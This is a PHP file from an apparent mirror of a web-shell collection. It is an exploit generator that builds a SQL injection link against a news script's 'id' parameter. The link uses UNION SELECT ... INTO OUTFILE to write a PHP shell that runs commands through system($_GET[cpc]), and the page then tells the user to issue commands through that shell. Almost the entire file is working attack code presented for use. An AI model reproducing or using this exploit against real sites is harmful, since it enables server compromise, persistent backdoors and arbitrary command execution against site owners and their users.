mirror of
https://github.com/tennc/webshell
synced 2024-11-30 07:00:18 +00:00
37 lines
1.1 KiB
Text
37 lines
1.1 KiB
Text
|
<?php
|
||
|
?>
|
||
|
<html>
|
||
|
<head>
|
||
|
<title>|| .::News Remote PHP Shell Injection::. || </title>
|
||
|
</head>
|
||
|
<body>
|
||
|
<header>|| .::News PHP Shell Injection::. ||</header> <br /> <br />
|
||
|
<?php
|
||
|
if (isset($_POST['url'])) {
|
||
|
$url = $_POST['url'];
|
||
|
$path2news = $_POST['path2news'];
|
||
|
$outfile = $_POST ['outfile'];
|
||
|
$sql = "0' UNION SELECT '0' , '<? system(\$_GET[cpc]);exit; ?>' ,0 ,0 ,0 ,0 INTO OUTFILE '$outfile";
|
||
|
$sql = urlencode($sql);
|
||
|
$expurl= $url."?id=".$sql ;
|
||
|
echo '<a href='.$expurl.'> Click Here to Exploit </a> <br />';
|
||
|
echo "After clicking go to http://www.site.com/path2phpshell/shell.php?cpc=ls to see results";
|
||
|
}
|
||
|
else
|
||
|
{
|
||
|
?>
|
||
|
Url to index.php: <br />
|
||
|
<form action = "<?php echo "$_SERVER[PHP_SELF]" ; ?>" method = "post">
|
||
|
<input type = "text" name = "url" value = "http://www.site.com/n13/index.php"; size = "50"> <br />
|
||
|
Server Path to Shell: <br />
|
||
|
Full server path to a writable file which will contain the Php Shell <br />
|
||
|
<input type = "text" name = "outfile" value = "/var/www/localhost/htdocs/n13/shell.php" size = "50"> <br /> <br />
|
||
|
<input type = "submit" value = "Create Exploit"> <br /> <br />
|
||
|
|
||
|
|
||
|
|
||
|
<?php
|
||
|
}
|
||
|
?>
|
||
|
</body>
|
||
|
</html>
|